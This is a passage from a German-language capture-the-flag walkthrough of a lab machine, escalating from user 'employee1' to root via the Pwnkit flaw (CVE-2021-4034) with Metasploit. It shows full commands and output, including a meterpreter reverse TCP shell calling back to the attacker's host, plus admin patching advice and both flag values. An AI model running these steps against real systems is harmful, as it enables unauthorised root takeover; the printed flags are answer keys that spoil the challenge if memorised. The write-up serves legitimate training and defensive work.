Empfehlung (Admin): Endpoint Detection and Response (EDR)-Systeme können das Verhalten von Meterpreter erkennen und blockieren. Halten Sie Antiviren-Signaturen aktuell.

Proof of Concept (Privilege Escalation via Pwnkit)

Dieser Abschnitt beschreibt die Ausnutzung der Pwnkit-Schwachstelle (CVE-2021-4034) im Polkit-Dienst (`pkexec`), um von der Meterpreter-Sitzung mit Benutzerrechten (`employee1`) zu einer Sitzung mit Root-Rechten zu gelangen.

Kurzbeschreibung: Nach Erhalt einer Meterpreter-Sitzung als `employee1` verwenden wir das Metasploit-Modul `local_exploit_suggester`, um nach bekannten lokalen Privilegienerweiterungs-Schwachstellen zu suchen. Der Suggester identifiziert Pwnkit als vielversprechenden Kandidaten. Anschließend wird der entsprechende Metasploit-Exploit ausgeführt.

Voraussetzungen: Aktive Meterpreter-Sitzung als nicht-privilegierter Benutzer (hier Session 2 als `employee1`). Vorhandensein einer anfälligen Version von `pkexec` auf dem Zielsystem.

Schritt 1: Lokale Exploit-Suche mit `local_exploit_suggester`

Wir verwenden den Suggester, um das System auf bekannte Schwachstellen zu prüfen.

msf6 post(multi/manage/shell_to_meterpreter) > use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > set session 2
session => 2
msf6 post(multi/recon/local_exploit_suggester) > run
[*] 192.168.2.106 - Collecting local exploits for x86/linux...
[*] 192.168.2.106 - 186 exploit checks are being tried...
[+] 192.168.2.106 - exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec: The target is vulnerable.
[+] 192.168.2.106 - exploit/linux/local/network_manager_vpnc_username_priv_esc: The service is running, but could not be validated.
[+] 192.168.2.106 - exploit/linux/local/pkexec: The service is running, but could not be validated.
[+] 192.168.2.106 - exploit/linux/local/su_login: The target appears to be vulnerable.
[*] Running check method for exploit 43 / 58
                     

Analyse: Das Modul `local_exploit_suggester` wird geladen und auf die Meterpreter-Sitzung 2 angewendet. Es vergleicht die Systeminformationen (Betriebssystem, Kernel, installierte Software/Versionen) mit einer Datenbank bekannter lokaler Exploits.

Bewertung: Der Suggester identifiziert mehrere potenzielle Exploits. Besonders relevant ist `exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec`, der explizit als "vulnerable" markiert wird. Pwnkit ist eine bekannte und oft zuverlässige Schwachstelle zur Privilegienerweiterung auf vielen Linux-Systemen.

Empfehlung (Pentester): Verwenden Sie das von Suggester empfohlene Pwnkit-Exploit-Modul (`exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec`).
Empfehlung (Admin): Halten Sie das `polkit`-Paket (welches `pkexec` enthält) immer auf dem neuesten Stand, um CVE-2021-4034 und andere Schwachstellen zu beheben.

Schritt 2: Vorbereitung und Ausführung des Pwnkit-Exploits

Wir laden das Pwnkit-Exploit-Modul und konfigurieren es.

msf6 post(multi/recon/local_exploit_suggester) > use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > options
Module options (exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   PKEXEC_PATH                    no        The path to pkexec binary
   SESSION                        yes       The session to run this module on 
   WRITABLE_DIR  /tmp             yes       A directory where we can write files


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.2.105    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   x86_64



View the full module info with the info, or info -d command.
                    
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set LHOST 192.168.2.105
LHOST => 192.168.2.105
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set LPORT 5554
LPORT => 5554
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set session 2
session => 2
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run
[*] Started reverse TCP handler on 192.168.2.105:5554
[*] Running automatic check ("set AutoCheck false" to disable)
[!] Verify cleanup of /tmp/.deessia
[+] The target is vulnerable.
[*] Writing '/tmp/.fjeoeofwuhr/brwymbsgfc/brwymbsgfc.so' (548 bytes) ...
[!] Verify cleanup of /tmp/.fjeoeofwuhr
[*] Sending stage (3045348 bytes) to 192.168.2.106
[+] Deleted /tmp/.fjeoeofwuhr/brwymbsgfc/brwymbsgfc.so
[+] Deleted /tmp/.fjeoeofwuhr/.jopabx
[+] Deleted /tmp/.fjeoeofwuhr
[*] Meterpreter session 3 opened (192.168.2.105:5554 -> 192.168.2.106:47000) at 2023-07-11 00:00:00 +0200
                    

Analyse: Das Exploit-Modul für Pwnkit (CVE-2021-4034) wird geladen. Es verwendet standardmäßig einen `linux/x64/meterpreter/reverse_tcp`-Payload. Wir setzen die Ziel-Session auf 2 (unsere `employee1`-Meterpreter-Sitzung). Die `LHOST`-Option wird auf unsere Angreifer-IP (`192.168.2.105`) und `LPORT` auf `5554` für die neue Reverse-Shell-Verbindung gesetzt. Mit `run` wird der Exploit ausgeführt. Das Modul prüft erneut die Anfälligkeit (`The target is vulnerable.`), schreibt temporäre Dateien nach `/tmp` und führt den Exploit über die Sitzung 2 aus.

Bewertung: Der Exploit war erfolgreich! Metasploit meldet das Öffnen einer neuen Meterpreter-Sitzung (Session 3). Diese neue Sitzung sollte Root-Rechte haben, da der Pwnkit-Exploit darauf abzielt, Code als Root auszuführen.

Empfehlung (Pentester): Wechseln Sie zur neuen Meterpreter-Sitzung 3 (`sessions -i 3`) und überprüfen Sie die Rechte (`getuid`).
Empfehlung (Admin): Patching von Polkit (CVE-2021-4034) ist essentiell. Überwachen Sie verdächtige Aktivitäten im `/tmp`-Verzeichnis.

Schritt 3: Bestätigung des Root-Zugriffs

Wir wechseln in die neue Meterpreter-Sitzung und überprüfen die Benutzer-ID.

meterpreter > shell
Process 9497 created.
Channel 1 created.
                    
# id
uid=0(root) gid=0(root) groups=0(root),1000(employee1) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
                    

Analyse: Von der Meterpreter-Sitzung 3 aus starten wir eine interaktive System-Shell (`shell`). In dieser Shell führen wir den `id`-Befehl aus.

Bewertung: Voller Erfolg! Die Ausgabe `uid=0(root) gid=0(root)` bestätigt, dass wir nun Root-Rechte auf dem Zielsystem haben. Die Privilegienerweiterung war erfolgreich.

Empfehlung (Pentester): Das Ziel ist erreicht. Sammeln Sie die Root-Flagge (oft in `/root/`) und dokumentieren Sie den gesamten Angriffspfad.
Empfehlung (Admin): Dringende Behebung der Pwnkit-Schwachstelle und der schwachen SSH-Passwörter.

Schritt 4: Sammeln der Root-Flagge

Wir wechseln in das `/root`-Verzeichnis und lesen die Flagge.

# cd /root
# ls
proof.txt
                     
# cat proof.txt

	██████╗█████╗██╗███╗██╗  ██████╗█████╗██╗██╗███████╗██████╗
	██╔════╝██╔══██╗██║████╗██║  ██╔══██╗██╔══██╗██║██╗██║██╔════╝██╔══██╗
	██║██╗███████║██║██╔██╗██║  ████████║██║╚██╗████╗███████╗██████
	██║╚██╗██╔══██║██║██║╚████║  ██╔═══╝██║██║████╔═████║██╔══╝██╔══██╗
	╚████████║██║██║██║╚███║  ██║╚█████╚██╚█████████╗██║██║
	╚═════╝╚═╝╚═╝╚═╝╚═╝╚══╝  ╚═╝╚════╝╚═╝╚═╝╚══════╝╚═╝╚═╝

_________                                     __        .__          __  .__
\_   ___ \  ____   ____    ________________ _/  |_ __ __|  | _____ _/  |_|__| ____   ____
/    \  \/ /  _ \ /    \  / ___\_  __ \__  \\   __\  |  \  | \__  \\   __\  |/  _ \ /    \
\     \___(  <_> )   |  \/ /_/  >  | \// __ \|  | |  |  /  |__/ __ \|  | |  (  <_> )   |  \
 \______  /\____/|___|  /\___  /|__|  (____  /__| |____/|____(____  /__| |__|\____/|___|  /
        \/            \//_____/            \/                     \/                    \/


You successfully owned the root of this box :-)

Flag: eb2e174c3883ff6b5fd871167795b4d6

Twitter : VanshalG
                    

Analyse: Wir wechseln in `/root`, listen den Inhalt auf und finden `proof.txt`. Der Inhalt wird mit `cat` ausgegeben.

Bewertung: Die Datei enthält ASCII-Art, eine Erfolgsmeldung und die Root-Flagge: `eb2e174c3883ff6b5fd871167795b4d6`.

Empfehlung (Pentester): Root-Flagge notieren. Suchen Sie nach der User-Flagge, falls noch nicht geschehen.
Empfehlung (Admin): Keine spezifische Empfehlung.

Schritt 5: Sammeln der User-Flagge (nachträglich als Root)

Wir suchen im Home-Verzeichnis des Benutzers `vanshal` (der in `/etc/passwd` gefunden wurde) nach der User-Flagge.

# cd /home/vanshal
# ls
local.txt
secret.zip
                    
# cat local.txt

		██████╗█████╗██╗███╗██╗  ██████╗█████╗██╗██╗███████╗██████╗
		██╔════╝██╔══██╗██║████╗██║  ██╔══██╗██╔══██╗██║██╗██║██╔════╝██╔══██╗
		██║██╗███████║██║██╔██╗██║  ████████║██║╚██╗████╗███████╗██████
		██║╚██╗██╔══██║██║██║╚████║  ██╔═══╝██║██║████╔═████║██╔══╝██╔══██╗
		╚████████║██║██║██║╚███║  ██║╚█████╚██╚█████████╗██║██║
		╚═════╝╚═╝╚═╝╚═╝╚═╝╚══╝  ╚═╝╚════╝╚═╝╚═╝╚══════╝╚═╝╚═╝


		   You successfully owned the user of this box :-) Best of Luck for the root


flag: 5c2a29d7b95868da9e503502f301e8dd

Twitter : VanshalG
                    

Analyse: Wir wechseln in `/home/vanshal`, listen den Inhalt auf (`local.txt`, `secret.zip`) und geben den Inhalt von `local.txt` aus.

Bewertung: Die Datei `local.txt` enthält die User-Flagge: `5c2a29d7b95868da9e503502f301e8dd`. Die Datei `secret.zip` wurde nicht weiter untersucht, enthält aber möglicherweise weitere Hinweise oder war Teil eines anderen Lösungswegs.

Empfehlung (Pentester): User-Flagge notieren. Der Test ist abgeschlossen.
Empfehlung (Admin): Keine spezifische Empfehlung.

Risikobewertung: Die Kombination aus einem extrem schwachen Passwortschema (Benutzername = Passwort) für SSH und einer ungepatchten Pwnkit-Schwachstelle stellt ein kritisches Risiko dar. Sie ermöglichte einem Angreifer mit Netzwerkzugriff die relativ einfache Übernahme des Systems mit vollen Root-Rechten.

Empfehlungen (Zusammenfassung):

Flags

cat /home/vanshal/local.txt
5c2a29d7b95868da9e503502f301e8dd
cat /root/proof.txt
eb2e174c3883ff6b5fd871167795b4d6